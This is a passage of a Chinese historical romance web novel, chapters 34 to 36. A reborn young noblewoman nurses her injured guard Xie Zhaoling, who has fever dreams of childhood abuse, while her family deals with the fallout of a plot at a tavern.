杀意与血腥是刻在少年骨子里的,根本藏不住。 哪怕他被困在乔家的后宅中,他依旧是一头难以驯服的野狼。 “俞升,把二公子扛回去。” 俞升看了一眼乔良被捆住的手脚,正要去解。 乔誉:“绑着。” 省得路上醒了闹腾。 俞升:“……” 俞升把人塞回麻袋,在另一护卫的帮助下,把麻袋背了起来。 回到乔府,乔誉带着一群人回了院子,分别前,朝谢昭凌投去意味深长的一瞥。 “你闯的祸,自己解决。惹到的人,自己去哄。” 什么祸,什么人,谢昭凌不知。 腿上的剧痛令他没有过多的思考能力。 看着麻袋被人运走,谢昭凌想,小菩萨的托付他做到了。 他扶着墙,浑浑噩噩往木兰院走。 “呜呜……” 月上梧桐梢。 一滴冷汗从额角划过,谢昭凌仰头望向星空,恍惚间听到了小菩萨的哭声。 他不由得加快了脚步。 “……” 踏进院门的那一瞬间,哭声忽然消失。 而后一道急促的脚步声由远及近。 有人重重撞了过来,扑进了他的怀里。 小姑娘的手紧紧圈着少年劲瘦的腰。 头埋在他胸口,崩溃大哭。 她用力抱着,用力到似是在与天相抗,像是在挽留这世间最珍贵的宝贝。 “我以为又要失去你了。” 第34章 【34】 一个软乎乎的小姑娘镶嵌在自己怀里。 那感觉,很陌生,不踏实。 却意外地并不排斥。 谢昭凌摇摇晃晃,再也承受不住任何的重量。 他脱力往后倒去,在意识消散的瞬间,他收拢双臂,将人牢牢护在怀里。 “……” “……” “老赵家的,你家娃咋这俊呢?打哪儿捡来的啊这是?” 同村人扛着锄头,冲打田垄边路过的赵家母子打趣道。 女人牵着个三岁的小男孩,面带笑意,“你也想去捡一个?” “是啊哈哈,瞧瞧,好孩子可真俊啊,哪像你们两口子。” “那你可捡不着,我们娃是老天的恩赐,只这一个。” 小少年一双黑亮的眼睛似懂非懂地看着母亲。 女人蹲下了身子,从竹筐里拿出一根才摘的黄瓜,“渴了吧?来。” 小少年弯了弯眼睛,嗓音清脆:“谢谢娘亲。” 女人笑意不减,抬手揉了揉他的头,牵着他的手继续往家走…… “……” “……” “你说什么?!” 小奶猫“嗷呜”一声,浑身毛都炸起。 “哎哟哟!别扯老夫胡子!!” 谢昭凌蹙了蹙眉,手指动了一下。 嘈杂声入耳,周遭似乎乱作一团,吵闹声将他从梦境深处拽了出来,却依旧睁不开眼睛,挣不脱黑暗。 “姑娘你别急啊,快松手,听吴大夫把话说完啊,他肯定不会放弃谢护卫的,只是要让谢护卫快些好起来罢了!” 吴大夫本来脾气就不算好,这下更吹胡子瞪眼:“你还想不想他好?!” “呜呜,我能不想吗?可是你刚刚说他要瘸了!” 吴大夫恨得直咬牙,指着床上昏迷的少年,“老夫行医多年,就没碰上过这么不听话的病患,我昨儿说什么来着?也别管昨儿了,我就是拎着他耳朵才嘱咐完的话,他扭头就能抛到脑后去,他这么不想好,我也不必在他身上白费心思!” 乔姝月一把拉住吴大夫的胳膊,哽咽了声:“他是为了我才这样的,吴叔你救救他吧!他对我真的很重要……” 屋中静了一瞬。 半晌,吴大夫长长地叹息了一声,语气也低了下去,无力道:“老夫原本想着,他年纪还小,就用寻常的法子,好好将养,要不了多久就能好。可是他……唉。罢了,他这么有主意,那老夫也不必再怜惜他。” 刘妈妈听得心头一紧,“您是要?” “给他用的药一直很温和,讲求一个细水长流,慢慢滋养。可是现在呢,这法子倒成了拖延的累赘了。”吴大夫沉声道,“那我就给他用一剂狠药吧,方子虽在医书上有记载,但老夫没试过,听闻药效强烈,诊治过程中患者会遭受极大的痛苦,所以老夫一直不忍用。” “但是,常言道绝处逢生,他这么能忍,想来那些痛苦于他而言,自然不如常人那么煎熬。” “挺过去的话,好得能更快,挺不过……”吴大夫叹息道,“来世再投个好胎吧。” “……” 谢昭凌再度陷入昏睡前,隐约听到婢女们急切呼唤了声:“姑娘!!” 她出去了? 不知去了哪里。 乔姝月去了乔誉的院里。 此刻正值深夜,乔家却无人在休息。 乔父今晚在公衙值守,大哥乔叙带着大理寺的人去围了悦泉楼。 京中的铺子账目出现问题,乔母褚氏今晚没回来,家中能做主的,只有陆氏一人。 或许这些都是提前设计好的,特意支开家中的长辈,再设法引乔良出府,诱他担下杀人的罪名。 乔姝月心里恨极,不顾护院的阻拦,直挺挺地冲了进去。 二哥乔良已经从麻袋里爬了出来,苏醒了,他大概不是自然醒来,周身湿漉漉的,似是才被人用冷水浇过。 他颓唐地靠着门板,垂着头,人还迷糊着,眼前忽然晃过来一个小团子。 而后他下巴重重地挨了一下,脑袋也因为后仰,狠狠磕在了门框上。 乔良抱住脑袋,痛苦地:“嗷!” 乔誉眼角一跳,忙上前拉人。他哪见过小妹挥舞拳头,今儿也算是涨了见识。 乔姝月还想原地跳起,她个子小,就只能跳起来打。 两辈子加起来她都没这么冲动过,今日实在是各种情绪都夹杂在一起,惧怕担忧,愤怒委屈,都混在一起,在胸中激荡,令她大受刺激,神志暂失。 尤其是在看到谢昭凌躺闭着眼在榻上的模样。 那庸医还说让他投个好胎!!! 她心里破天荒地生出“我跟你们都拼了”的冲动。 乔姝月一边挣脱,一边冷笑:“四哥你别拉我,与二哥讲不通道理,那我就用拳头让二哥清楚道理!” 乔誉:“……” 不得了,看来那姓谢的小子分量当真不一般,比他想的还要重。 怎么,这是人没哄好,反而发了疯?那姓谢的也不行啊。 乔良满眼热泪,痛得五官扭曲,“打人不打脸,我招你惹你了?” “你还敢问?!” 小姑娘像一只被惹怒的小狮子,怒吼着直往乔良身上冲。 乔誉一手拦在她腰间,把人往后拖,“有话好好说,别气坏了自己。” 乔姝月不听。 有话好好说,也得等她先把人揍一顿再说。 一院子的人都拦不住一个乔姝月。 家仆不敢上手,只能把乔良团团围住保护起来。可是乔姝月气红了眼,敌我不分,谁拦她她就用头顶谁。 最后还是乔誉做主,挥退一众仆从,让小姑娘成功地冲到乔良身边。 罢了,让她解解气吧,二哥也确实欠打。 防卫圈猝不及防地撤下,乔良反应不及。他瞳孔放大,眼睁睁看着那一拳又抡了过来。 乔誉:“……” 乔良:“啊啊啊我的眼睛!!” 这一跳大概用了吃奶的劲儿,跳得老高,一下捶上乔良的眼眶。 乔誉叹了声,似是不忍再看,背过身去,“活该。” 一炷香时辰后。 乔姝月累得呼呼喘气,她目光凶狠,瞪着在地上躺平,一动不动的乔良。 她用脚踢了下乔良的腿,“别装死,再来战!” 乔誉:“……” 他没忍住,规劝道:“哪家闺秀似你这般张牙舞爪?你往日的乖巧与端庄呢?” 乔姝月还紧盯着地上的二哥瞧,仿佛只要他一动,她就能再上去挠两下。 她心里委屈,也没有哪家闺秀要和心上人生死分别两次的。 “打架斗殴那都是街头混混才会做的事。”乔誉顿了顿,改口道,“虽然有的世家子弟也会,遇事用拳头不用脑子,横行霸道,伤风败俗,但你是好孩子,要挑好的学,不能和败类学。” “败类”躺在地上一动不动,像是死了。 乔姝月不耐烦地打断,指着二哥,“他是不是在装?比我大那么多,被我三两下就打趴下了?” 乔誉见她不依不饶,只得叹道:“他吸了迷药,劲儿还没过,手脚无力,四肢酸软,能清醒着坚持被你打这么会功夫已然很不容易了。” 乔姝月顿了下,“嗯”了声,老实地坐回去。 还以为二哥诚心悔悟,知错改错,所以才任她捶打不还手。 没想到是因为这个。 那就不算他主动认错,等他醒了再继续清算。 “手疼不疼?” 乔姝月冷静下来,委屈巴巴地揉了揉,“嗯。” “你放心,他的惩罚跑不了,”乔誉目光微冷,瞥了一眼那个不成器的哥哥,“你也是,往后有事别自己扛着,若非我这几日一直盯着二哥和你,还不知你们给我准备了这么大的惊喜。” 乔姝月不服气:“我早就同你说过了啊,你们都不把我的话当回事。” 乔誉被噎住,理亏地没吭声,他确实没将这事太放在心上。 一是柳家小少爷禁足,二哥想报复也没处去。 二则是他确实低估了二哥惹祸的能力。 幸好他的疑心作祟,暗中盯着兄妹的动静,还能为他们善后。 乔誉此时还不清楚乔良会同人命官司惹上关系,但他也能看出来今日有人故意让二哥出门。 引他出去,又施以迷药,盘算之事绝不简单。 “是你让谢昭凌跟着他的?” 乔姝月犹豫了下,摇头,“他自己决定的。” 瞧她这副难受的样子,乔誉心里也不好受,“谢昭凌呢?” 一提心上人,小姑娘眼圈顿时红了,将吴大夫的话一说,乔誉也沉默了。 没想到竟这般严重。 等乔姝月魂不守舍地回到木兰院时,吴大夫已经擦着汗从屋里走了出来。 她赶忙上前,“他醒了吗?” “还没,晚上可能会发烧,找人盯着点吧。” “我亲自盯着!” “你?”吴大夫上下打量,冷哼道,“行啊,明早我再来给你看病,你俩轮着病,我干脆留在你乔家当差得了。” 小老头一挥袖子往外走,快走出门时,冲她吼道:“找人给我收拾客房去啊!真让我来回奔波?!” 刘妈妈赶忙差人收拾院子,赔着笑脸,亲自送人出去。 乔姝月抹了一把眼泪,闷不做声,推门进去。 李护卫挠了挠头,也要跟进去,却被紫棉拉住。 紫棉:“辛苦你今晚去耳房凑合一宿了。” 李护卫愣了下,憨憨点头。 “呜呜。” “呜呜呜。” “……” 好吵啊。 别哭。 熟悉的疼痛,令人即刻从梦境里脱离。 那如炼狱一般的噩梦,他再也不想体验。 谢昭凌慢慢睁开了眼。 天色还暗着,屋里仅亮着一盏烛火。 右腿传来剧烈的疼痛,比先前更甚,痛到麻木,几乎感觉不到那条腿的存在。 不过这些疼痛比起他先前曾遭受过的,也不过是其中的一种罢了。 额头不断有冷汗冒出,他一声没吭,往旁边看去。 自己的胳膊上抵着个脑袋,源源不断的热泪流过他的手背,像极了幼时被当做药引时,温热的血划过手腕的感觉。 原来他也曾被养母善待过。 那根黄瓜很甜,是他吃过最甜的。 头顶那抹轻柔的触感还残存在他的梦里,只不过短暂的美好后来都被血色覆盖,再难寻觅踪迹。 ——“孩子,别哭了,再帮帮爹娘吧?” ——“求你了,孩子,看在养育之恩的份上,再来一点吧。” 她想要活着,就一定要牺牲他吗? 谢昭凌有些明白,小菩萨与旁人的差别在何处。 养父母挟恩图报,好像养育他就是为了有朝一日取他的血一样,这叫他时至今日都找不到一点求生的意义。 若他痛不欲生地活着,只是为了利好旁人,那真的还有必要将生命持续下去吗? 所以他排斥一切善意,抗拒所有笑着靠近他的人。 可是小菩萨不一样。 她也救了自己,却从不对他提出要求。 在离开乔家之前,她让他以自己的安危为先。 乔誉说得对,是他辜负了她的情意。 眼泪从腕间累累伤痕流过,他心里没有厌恶,不再抗拒地将人推开。 她好像……可以支配他的身体了。 嘴里还发出“呜呜”的哭声,又怕将他吵醒,拼命压抑着声音,“好烫,别死了,呜呜。” 这天底下怎么会有如此善良的女孩子愿意来到他的身边。 谢昭凌感觉自己仿佛置身火炉一般,被眼泪打湿的衣袖为他心底的烦躁又添了一把火。 他顺遂心意,将手从她怀里抽走,而后慢慢抬起。 乔姝月身子僵住,不可置信地看过来。 看到她满眼含泪的可怜模样,谢昭凌无奈地叹了一声。 他嗓音低哑:“怎么把自己弄成这样?” 发髻乱成鸡窝一样,脸上沾了好多脏土,碎发垂在耳侧,眼睛又红又肿,鼻尖哭得通红。 “我打了二哥一顿。”小姑娘吸了吸鼻涕,“呜呜,你醒了啊……” 谢昭凌:“……?” 他目光错愕,低低笑出了声。 为了他打架吗? 好可爱的小菩萨。 谢昭凌抬起的手轻轻落在她的头顶。 回忆着梦中幼时的样子。 生疏地,温柔地,毫不犹豫地。 揉了揉她的头发。 第35章 【35】 少年的手掌轻柔落下,揉啊揉。 乔姝月呜咽的声音戛然而止。 她眼里噙着泪花,呆呆愣着,一时间没有反应。 半晌,她慢慢抬头,想看一眼上方的那只手。结果少年的手一直贴着她的脑袋,也随着一起往后移去。 乔姝月望着空空荡荡的头顶,脸颊瞬间变红。 感觉还在,所以不是她做梦呀。 遥想一个月之前,刚见面那会,她还被他反拍了一巴掌。后来也是靠她锲而不舍地黏着他,这才让他慢慢不抗拒各种亲近的举动,诸如拉衣角,牵手指。 怎么他忽然主动起来了? 这好像是他第一次主动碰触她吧? 好像他刚刚回来时,自己一时冲动抱了上去,他也没有推开。 甚至,甚至……甚至在晕倒前,还把自己抱得更紧了些。 他他他抱她了!! 乔姝月越想脸越红,两手捧着脸颊,害羞得说不出话来。 头顶的那只手还在不停地动,她被动摇晃着脑袋,两手抓住他的手腕,鼻音浓重:“别,要晕了。” 本就乱糟糟的头发,这下被揉得更乱了。 女孩子娇滴滴的一声撒娇,让谢昭凌心尖似是被猫爪子挠了一下。 他蓦地收回了手。 后知后觉反思起来,自己都在做什么啊。 高烧令人意志薄弱,神志不清,每一次呼吸都是滚烫的,额头的温度令大脑愈发不清明。 一定是这样,所以才会昏了头,想着去揉她的脑袋。 她是这院子里的主人,而他是仆从,不该僭越。 谢昭凌收回手,无力地合上眼睛。 头顶的重量陡然消失,乔姝月失落地抬起手,摸了摸刚被他碰过的地方。 “……对了,你现在疼不疼?”担忧的目光落在他的腿上,她不安道,“要是很疼的话,我去把吴大夫叫回来。” 谢昭凌感受着下肢钻心的疼痛,轻描淡写:“还好。” 乔姝月眼前一亮,“那看来是有用的?!” 所以吴大夫说什么投胎,肯定又是吓唬她的。 “你要睡吗?我不吵你,我乖乖的。” 乔姝月闭紧嘴巴,缩着脑袋,窝在他身边,只两只红通通的大眼睛小心翼翼地瞄他。 谢昭凌没有睁眼,他压抑着要痛苦呻吟的欲望,努力维持声线的平稳。 “没关系,我不睡。”太疼了,他也睡不着,他犹豫了下,问道,“你和二公子……他欺负你了吗?” 不知道自己该不该开口,又是否合适询问,但他现在没有太多理智而言,所以……问便问了吧。 一提起乔良,乔姝月就窝了一肚子火。 她愤愤道:“他还敢欺负我?!他闯了祸,要一大家子人帮他擦——” 突然停住。 谢昭凌:“……” 乔姝月干笑了两声,“我文雅些。” 她调整心情,又默念了一遍弟子规,终于才恢复了几分大家闺秀该有的模样。 少年似是不适,难耐地皱了下眉,但不想被她发现,微微偏转头朝里,手用力抓住了被子。 他无声轻喘了两下,压低声音又问:“四公子和李护卫为何会一起出现在悦泉楼附近?你叫他们去的吗?” 小姑娘双手缩在袖子里,规规矩矩垂在膝上。 十分乖巧地将他不知道的事一一道来。 “李护卫是我派去的,二哥离家后,我去找了大嫂帮忙。大嫂能将二哥带回来,但她肯定不知道你也在场,我怕你受伤,所以叫李护卫去接应你。” 在她认真回忆的时候,谢昭凌慢慢转身朝向里侧,手臂下移,掌心覆在膝盖之上,每一次剧痛,他都忍不住收拢五指,用力地按在上面。 “至于四哥……我派李护卫出去不久,四哥就让人传信给我,说他看到你和那个叫魏二的小厮一起进去了,没过多久,只魏二一人出来,不见你人,他差人来问,我到底想做什么。” “他说从几日前就派人盯着二哥的动静,只不过他虽叫人盯着,自己却没太当回事,等他得知二哥进了悦泉楼,自己赶过去时,二哥已经进去好一会了。他那时正好又看到你,这才警惕起来。” 谢昭凌意识不明,迷迷糊糊地从记忆的角落里搜寻。 他低声问:“我离开时听到有人在门口闹事,吵嚷着让酒楼交人,那也是四公子的安排?” 乔姝月愣了下,思索道:“那应该是大嫂的人。” 毕竟大嫂找的尽是粗使的小厮,还在她的撺掇下带着麻袋去的。 而四哥身边跟着他办事的仆从多半做不来叫嚣着堵门这般有辱斯文的事。 四哥擅智取,如此直白的手段,不是他的风格。 乔姝月还在沉思,是否要在此刻询问他楼里都发生了什么。 毕竟当务之急是好好休息,陪她说了会话,他一定累了。 却忽听少年哑声开口:“你……哭什么?” “……” 乔姝月脸红了红。 她缩在袖子里的小手互相抠着,难为情地别过头,“因为四哥传信来说你出事了。” 背对着她的少年慢慢睁开了眼睛,随着她的每字每句,目光逐渐幽深。 “那会天都黑了,一个小厮来传话……” 当时那人说:“人已救出,但姑娘您院里的护卫他不太好。” 乔姝月现在想起来,心里还酸涩难忍,轻声道:“我真的不知该如何是好。” 她没想过他若有个三长两短,今后她该怎么办。 前世的谢昭凌,在没有她出现的少年时期,尚能从尸山血海中闯出一片天地,按理说他不会轻易被人抓住。 可四哥传回来的那句话,实在令她方寸大乱。 “不太好”究竟是有多不好,发生了什么才值得四哥特意派人回来告知她? 乔姝月经历过一世家破人亡,生离死别,所以她下意识就会往最坏的方向想。 二哥不听劝阻,闯出祸事,她即便心里着急,也不至于自乱阵脚,尚能再想办法解决。 可是如若谢昭凌有个意外…… 那她当真是六神无主,什么法子都想不出来了。 假如她死去可以再获得一次重来的机会,她半分犹豫都不会有。 幸好他平安回来了。 “都怪我。” 若她计划周全一些,人再聪慧一些,他也不会受苦。 “你辛苦了。” 她眼睛又酸酸湿湿的,挺起的背脊塌陷,伏在床边,闷闷不乐。 药效发作,谢昭凌昏昏沉沉。他自己都没意识到,将乔良带出来时,他有多高兴。 现在想来,能为她分忧,也算找到了点活下去的意义。 为了他人的心愿,他竟也没那么排斥。 也许只是因为是她的缘故。 她和旁人比,总归是不同的。 谢昭凌意识模糊,无意识地呢喃:“为你做事,不辛苦……” 只可惜自此断了后路,绝了去到郑丰南身边的可能。 他想,也不算太可惜,他应该算是心甘情愿的。 少年的呼吸逐渐趋于平缓规律。 即便他竭力忍耐,尽力勉强,她也知道,他很疼,只是装作无碍。 也许是怕她自责,怕她难过,不想她哭,所以即便痛彻心扉,他都不曾喊出一声。 若无其事地同她搭话,直到睡去,也不忘安慰她。 哪怕重来一世,不是对她一见钟情的陛下,也还是那个会温柔待她的谢昭凌。 乔姝月抹了抹眼泪,为他盖好被子。 起身出了门。 吴大夫从睡梦中被人惊醒。 只见小姑娘一脸急切:“他疼,怎么办?” 吴大夫:“……” 他抹了把脸,看着小姑娘眼尾挂着的泪痕,彻底没了脾气。 长叹了声:“那就帮他热敷着吧。” 虽然不一定管用,但心里会踏实。 回到木兰院,乔姝月跑到库房,“从四哥院里抬回来的东西都在这儿吗?” 玉竹点头,“姑娘要找什么?” “汤婆子,我记得有个刻着兔子图案,是父亲从越州带回来的。” 玉竹翻箱倒柜,将东西取出,倒上热水后,悬紧塞子。 “姑娘,我去把李护卫叫起来,让他去放吧。” 毕竟伤处热敷,需要掀开他的被窝。 乔姝月脸红了红,“好。” 李成拎着汤婆子进屋,乔姝月众人等在门外。 半晌,只听哐啷一声—— “哎哟!!” 乔姝月心下一惊,赶忙进屋。 李成四仰八叉躺在地上,捂着肚子轻声哀嚎。 乔姝月:“……?” 见主子来,李成委屈巴巴:“姑娘,他踢我。” 汤婆子挨着身子还是挺烫手的,贴在腿边就好,谢昭凌平躺在榻上,伤腿在内侧,李成够不到里面,便单膝跪上了榻,打算越过少年身体放进去。 结果他才跪上去,刚要掀开被角,少年也不知是醒了还是梦中依旧保持着警惕,他利落地抬起完好的那条腿,迎面给李成的心窝来了那么一下。 那一脚用了实打实的力气,踹得李成从榻上飞出去,摔倒在地,半晌没缓过神。 “不行,他不让人靠近。” 李成说什么都不敢再上前。 与谢昭凌同住也有一段时间了,李成愣是没看清过少年床榻的模样,只因他直觉总是提醒他,不可靠近,万万不可。 如今看来,直觉救了他好几次的命。 乔姝月叹了口气,那这…… 她在众人身上看了一圈,最终接过汤婆子。 “我试试吧。” 刘妈妈顿时急了,“不可!李护卫都伤成这样,那姑娘——” 乔姝月安抚地笑笑,“也许他不会打我呢?” 说罢她不顾众人阻拦,径直朝床榻走去。 和李成相同的动作,先是跪到榻上,而后小心翼翼地,探身过去。 她人小,胳膊也短,不如李成那般伸长胳膊就能放过去。 她只能从床尾摸索,隔着被子,循着他腿的轮廓,慢慢往上。 不小心摸到他小腿骨时,她害羞地闭了下眼。 众人提心吊胆,目不转睛。 乔姝月毫无障碍地整个人都爬到床里侧,谢昭凌一动不动地躺着。 全然没有方才对李成时的那般敏锐又强烈的攻击性。 众人松了口气,又同情地看向李成。 李成捂着快要断掉的肋骨,马上就能哭出声来。 乔姝月忐忑地望着谢昭凌,她不敢错过他任何一个表情,生怕他一个翻脸无情,也将她掀翻在地。 见他毫无动静,她轻轻拎起被角,飞快地将汤婆子推了进去。 做完这一切,她悄悄舒了口气,手要离开被子时,谢昭凌忽然抬手,抓住了她。 没什么动静,动作起伏也小,没有用一丁点力气,只是单纯地将她扣入掌心。 他的体温滚烫,透过两人相牵的部位,淌进到她的心里。 “姑娘?怎么了?” 乔姝月红着脸摇头,她瞥向少年,见他仍紧闭着双眼,心口的跳动声愈发强烈。 无人察觉。 被子下面,大手握着小手。 乔姝月深吸了口气,在他掌中,悄悄扭转拳头的方向。 而后缓缓张开五指,顺着少年的指间滑入,十指相扣,握了上去。 第36章 【36】 偷来的甜蜜总是不能长久的。 十指相握的时间转瞬即逝,她该离开了。手从少年掌心滑出,在心里刻下深刻的遗憾。 乔姝月蹭了蹭掌心的细汗,一双眼眸依依不舍地往少年脸上看去。 他紧闭着双目,眉头微蹙,似乎睡得很不安稳。 “姑娘?” 刘妈妈说着就要往前。 乔姝月长出了口气,摸索着,原路返回,由床尾爬了下去。 她坐在床尾,正欲往下去,余光瞥见旁边挂着的东西。 是那个她送的荷包。 乔姝月微微怔愣,而后抿唇笑了笑。 她坐在床边,弯腰穿上鞋子,心里想着,看来他介意的确实是荷包中的药草,而不是她亲手做的东西。 可是为什么呢?药草有何问题? 乔姝月心里暗暗存了疑问,打算回头寻个机会问问香料铺的施掌柜。 她本想在这守到天亮,但刘妈妈说什么都不肯同意,尤其是在目睹了少年即便处于梦中,也极具攻击性这件事后,刘妈妈便更难安心让她留下。 “可是他方才没有对我动手,你们都看到了的。” 乔姝月极力争取道。 刘妈妈不为所动,让紫棉与玉竹一人拉住她一条胳膊,说道:“方才或许是他烧糊涂了,来不及反应,谁能担保之后他还一动不动的?姑娘愿意,老奴却不能冒险,再说深更半夜,孤男寡女,你还想在这陪着他?” 乔姝月脸色微红,嘟囔道:“我还小呢,什么孤男寡女……” 刘妈妈没否认这点,她也只是担忧少年再出手伤人这事,两个小孩子之间她没往男女方面去想,只坚持道:“将姑娘带走。” 乔姝月被强制带离,临走前,她只能叮嘱李成,让他好好照顾着。 李成惧怕地往榻上看了一眼,唯唯诺诺应了声是。 ** ** 哗啦—— 少年用力挣脱着锁链。 手腕上经年日久的伤痕再度被磨破,有血流了出来。 “是血!!” 有几个不要命的人举着碗,丧失理智般朝他冲了过来。 为了抢夺本就不富裕的“生机”,又在他的面前打作一团。 耳边是巫医徐缓悠扬的诵咒声,还有民众欢呼雀跃叫好的声音。 烈焰舔舐过瓦砾,火舌随风势狰狞狂舞。 顷刻间,天地间漫开一片红光。 少年瞳仁漆黑,隔着热流与人海对望。 他眼中是一片死气沉沉,可在烈火的光焰照耀下,那双眼睛又剔透清澈得宛如一颗毫无杂质的琉璃宝珠。 热浪肆无忌惮地席卷,炙热的温度渐渐将他吞噬。 火焰缠上他的身体,淹没过他的头顶。 他做了个梦。 梦到自己没有从那片火海中逃离。 他…… 被烧死在了人祭仪式上。 “……” 谢昭凌蓦地睁开双眼。 眼底满溢凌厉的杀意与厮杀的决绝。 “咣当——!!” 耳边传来响动。 须臾间,少年向枕下摸去,抬手就要将匕首飞出。 结果摸了个空。 他猛地僵在原地。 “吓死我了吓死我了……别别别打我!!” 熟悉的声音带着哭腔,谢昭凌蓦地偏头看过去。 李成被少年那通红的双目以及眼底盛烈的杀气吓得浑身哆嗦,噗通一声,跪倒在他摔掉的水盆旁边,双手合十举过头顶,哇哇大叫: “好汉饶命啊!!” 谢昭凌收回手,脱力地靠在床头,闭了闭眼。 好热,为何这般热。 他感觉自己就像被火烤一样。 也难怪会做梦梦到被人烧死。 李成瑟缩着,小心翼翼地瞄,见少年闭着眼,仿佛又陷入沉睡,才鼓起勇气,试探地叫了他一声: “那个,谢护……咳,谢哥,”此时深刻理解魏二的李成抖着声音,“汤婆子要不要换一下热水?” 谢昭凌:“……?” 他睁开眼,“汤婆子?” 哪来的那东西? “在你腿边。” 谢昭凌动了动腿,果然触碰到一个坚硬又滚烫的东西。 他坐直身体,掀开被子,看到那个刻有小兔子图案的东西后,陷入沉默。 “……” 脑海里忽然出现小姑娘挂着灿烂笑容的那张脸。 谢昭凌抬手抹了一把额头的汗,感受着掀开被窝后陡然涌入的凉风。 他无奈地叹了口气,伸手将汤婆子递给李成,“不要了。” 李成颤颤巍巍站起身,抖着腿,脚尖往前蹭了两步,磨磨蹭蹭得,惹得谢昭凌瞥了他一眼。 李成浑身一激灵,三步并作两步,冲到近前,接过汤婆子。 见少年没打算再动用武力,劫后余生般松了口气。 看来人退烧后,神智恢复,好歹能交流了。 想想昨夜,李成的肋骨又隐隐作痛起来。 他拎着汤婆子,埋怨地看向少年:“你不知道,昨儿要给你放这东西做热敷,结果还没碰着你,抬腿就是一脚。” “我这辈子还没这么飞过,疼死了!” 谢昭凌:“……抱歉。” 他从前独自生活,因为长相的缘故,没少受人欺负,所以即便在睡梦中也不敢放松警惕。 多年来的习惯非一朝一夕能改变,他有时也控制不住身体的本能反应。 李成没听过少年道歉,此刻也怪不自在的,别别扭扭地摆了下手,“哎呀算了算了。” 他拿着汤婆子转身往外,嘟囔了一句:“还是姑娘本事大,爬到床里都没被扔出来。” 谢昭凌大脑瞬间空白。 手指攥紧被子,嗓音发紧:“等等!” 李成疑惑回头,“怎么?” 谢昭凌咽了咽嗓子,不确定地问道:“你说……姑娘?” “啊,是啊!你把我踹翻在地,姑娘就亲自给你放进去了。”李成心思粗,感慨道,“可能你那会失去意识了吧,反正姑娘在你床上待了好一会,顺着你的腿爬到里侧又爬出来,你一点反应都没有。” 哪像他那么倒霉,刚沾着点边就飞了。他要是再等等,或许也不会挨那一下。 谢昭凌:“……?” ——“反正姑娘在你床上待了好一会。” 在他床上。 待了。 好一会。 谢昭凌:“…………” 李成看着他越来越红的脸颊。 又发烧了?不是刚退烧吗?要不要找吴大夫来瞧瞧?他挠了挠头,刚迈开步子。 “等一下。”谢昭凌朝他伸手,“还给我。” 他耳根与脸侧都红了一片,目光仍清清冷冷的,没有感情。 李成一头雾水,将汤婆子归还,只见谢昭凌双手接过,手掌慢慢擦过表面,他垂眸看了半晌,掀开被子,又塞了回去。 他躺回去,盖好被子,调整了下睡姿,让膝盖又碰上那个滚烫的物件。 没一会功夫,整个被窝又暖烘烘的。 后背与下肢先后沁出一层汗意。 谢昭凌手背抵上额头,闭着眼睛,无奈地笑了一声。 ** 等乔姝月转天醒来,才得知乔父清晨回到府上,听说了乔良一事,大发雷霆。 她还没来得及告状,这事是谁说的?大嫂吗? 她洗漱过后用过早膳吃了药,都没来及去看一眼谢昭凌,便匆匆跑去前院。 到时,正巧看到四哥站在院中的树下,仰头望着盛开的花。 乔姝月想到昨夜自己种种“彪悍”的作为,有些羞赧。 乔誉见她扭捏的模样,好笑道:“我们家乔壮士醒了。” 乔姝月:“……” 她嘟着嘴不想理他,乔誉主动走了过来。没再为难她,说起正事:“二哥被罚跪祠堂,五日。等他出来,还有一顿家法。” 上回彻夜未归都只是罚跪两日,这回竟罚这么重。 乔姝月诧异道:“原因呢?因为去了悦泉楼?” 真正的祸事只有她与谢昭凌知道,而谢昭凌阻止了事态的发展,家中应当无人知晓内情才对。 乔誉道:“二哥什么都不肯说,只说同友人有约,非要在那日赴宴,走在半路上被人套了麻袋,再醒来就在家里了。” 乔姝月心头一紧,“那父亲清楚是谁将二哥带回来的吗?” 乔父很讨厌悦泉楼那地方,二哥是他亲生子,尚且都要罚跪,若是知晓谢昭凌也去了,只怕…… “父亲回了御史台,还不知是你的谢护卫做的好事。” 他意味深长地看着她,“悦泉楼出了命案,他和大哥都有的忙,你……不会不知道吧?” 乔姝月绷着小脸,头使劲摇晃,“我哪知道,我只知二哥一副去找人寻仇的模样,不跟着他出事怎么办?” 四哥可真坏啊,还想诈她?休想! 她疑惑地歪了下头,“什么命案?和二哥有关系吗?” 乔誉微眯了眸,直勾勾盯着她道:“死了一个乐伎。” 他在女孩脸上见到畏惧的表情,挪开视线,抬手摘了一朵花,漫不经心道: “怎会和二哥有关呢,他都没去悦泉楼。” 乔姝月诧异地瞪大眼睛,“他没去?” 他去了啊! 乔誉意味不明地笑了声,眼底漫上一层冷意。 是啊,悦泉楼那帮奴仆号称没有见过乔二公子乔良。 可他亲眼见到谢昭凌翻墙带出来一个人,难不成乔良也是翻墙进的酒楼吗? 乔良说自己被套了麻袋,他说自己没进去,那他是怎么出现在悦泉楼里的? “谢昭凌醒了吗?” 乔姝月脑子里乱成一团,摇头,“我还没去看他。” 乔誉沉吟片刻,“等会先找二哥问问情况吧。” “嗯。” 小姑娘连忙点头。 褚氏和陆氏在屋中说话,兄妹俩同母亲请了安。 关于谢昭凌带人回来这事,陆氏倒是知道一些,她同褚氏讲自己没有抓到乔良,是妹妹手下的护卫把人带回来的,褚氏愈发觉得留下那个少年是留对了。 “不过他敢给乔家的主子套麻袋,也实在是……” 陆氏捂着嘴笑,“母亲,小妹也让我手下的人带着麻袋去呢。” 褚氏无奈:“平日里你最喜欢你二哥,怎么这种时候下手这么狠?” 她见过乔良,那孩子都被打懵了。 她哪知道这里头还有她宝贝女儿的杰作,只当一切都是谢护卫所为。 乔姝月冷哼了声,“他连父亲的话都不听,还能听谁的?软的不行,当然得来点强硬的。” 褚氏:“……” 也好,女儿有自己的主见,总好过被人欺负。至于乔良,他确实该吃点教训。 陆氏提醒道:“母亲,这回若无谢护卫,二弟怕是会牵扯进案子里。” 一说起命案,褚氏眉眼间神色冷了下去。 昨晚大理寺的人包围酒楼时,在场之人无一不遭受审问。 乔良若是在场,传出去于乔家的名声、于乔父与乔叙的官声而言,都只有弊端。 “听说谢护卫回来便病倒了?也难为他了。”褚氏对谢昭凌有点惜才之意,外加二子与幼女都被少年相救过,因而愈发欣赏。 “让他这些日子好好修养吧,原本罚了他三个月的月银,想来应当没有银子再行束脩礼,他读书的费用,便也同施芊一样,一并由我来承担吧。早些养好,早日回学堂念书。” 先前的罚总归还是要罚的,毕竟伤人在先。 一码事归一码事,赏罚分明,没有功过相抵这么一说。 乔姝月眉开眼笑,抱着母亲的胳膊,好一通撒娇。 